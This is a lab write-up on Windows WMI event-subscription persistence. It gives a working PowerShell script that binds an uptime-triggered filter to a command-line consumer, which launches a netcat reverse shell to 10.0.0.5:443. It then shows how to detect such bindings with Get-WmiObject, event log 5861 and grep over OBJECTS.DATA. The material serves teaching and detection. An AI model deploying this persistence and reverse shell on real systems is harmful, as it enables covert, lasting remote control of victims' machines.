WMI events are made up of 3 key pieces:

• event filters - conditions that the system will listen for (i.e on new process created, on new disk added, etc.)

• event consumers - consumers can carry out actions when event filters are triggered (i.e run a program, log to a log file, execute a script, etc.)

• filter to consumer bindings - the gluing matter that marries event filters and event consumers together in order for the event consumers to get invoked.

WMI Events can be used by both offenders (persistence, i.e launch payload when system is booted) as well as defenders (kill process evil.exe on its creation).

Execution

Creating WMI __EVENTFILTER, WMI __EVENTCONSUMER and WMI __FILTERTOCONSUMERBINDING:

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# WMI __EVENTFILTER
$wmiParams = @{
    ErrorAction = 'Stop'
    NameSpace = 'root\subscription'
}
​
$wmiParams.Class = '__EventFilter'
$wmiParams.Arguments = @{
    Name = 'evil'
    EventNamespace = 'root\CIMV2'
    QueryLanguage = 'WQL'
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 1200"
}
$filterResult = Set-WmiInstance @wmiParams
​
# WMI __EVENTCONSUMER
$wmiParams.Class = 'CommandLineEventConsumer'
$wmiParams.Arguments = @{
    Name = 'evil'
    ExecutablePath = "C:\shell.cmd"
}
$consumerResult = Set-WmiInstance @wmiParams
​
#WMI __FILTERTOCONSUMERBINDING
$wmiParams.Class = '__FilterToConsumerBinding'
$wmiParams.Arguments = @{
    Filter = $filterResult
    Consumer = $consumerResult
}
​
$bindingResult = Set-WmiInstance @wmiParams

Note that the ExecutablePath property of the __EVENTCONSUMER points to a rudimentary netcat reverse shell:

c:\shell.cmd
C:\tools\nc.exe 10.0.0.5 443 -e C:\Windows\System32\cmd.exe

Observations

Note the process ancestry of the shell - as usual, wmi/winrm spawns processes from WmiPrvSE.exe:

On the victim/suspected host, we can see all the regsitered WMI event filters, event consumers and their bindings and inspect them for any malicious intents with these commands:

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Get-WmiObject -Class __EventFilter -Namespace root\subscription

Note the Query property suggests this wmi filter is checking system's uptime every 5 seconds and is checking if the system has been up for at least 1200 seconds:

Event consumer, suggesting that the shell.cmd will be executed upon invokation as specified in the property ExecutablePath:

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Get-WmiObject -Class __EventConsumer -Namespace root\subscription

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Get-WmiObject -Class __FilterToConsumerBinding -Namespace root\subscription

Microsoft-Windows-WMI-Activity/Operational contains logs for event 5861 that capture event filter and event consumer creations on the victim system:

Inspection

If you suspect a host to be compromised and you want to inspect any FilterToConsumer bindings, you can do it with PSRemoting and the commands shown above or you can try getting the file%SystemRoot%\System32\wbem\Repository\OBJECTS.DATA

Then you can use PyWMIPersistenceFinder.py by David Pany to parse the OBJECTS.DATA file and get a list of bindings like:

./PyWMIPersistenceFinder.py OBJECTS.DATA

Strings + Grep

If you are limited to only the native *nix/cygwin utils you have to hand, you can get a pretty good insight into the bindings with the following command:

strings OBJECTS.DATA | grep -i filtertoconsumerbinding -A 3 --color

Below are the results:

From the above graphic, we can easily see that one binding connects two evils - the evil consumer and the evil filter.

Now that you know that you are dealing with evil filter and evil consumer, use another rudimentary piped command to look into the evil further:

strings OBJECTS.DATA | grep -i 'evil' -B3 -A2 --color

Note how we can get a pretty decent glimpse into the malicious WMI persistence even with simple tools to hand - note the C:\shell.cmdand SELECT * FROM ... - if you recall, this is what we put in our consumers and filters at the very beginning of the lab:

References

Based on the research by Matthew Graeber and other great resources listed below: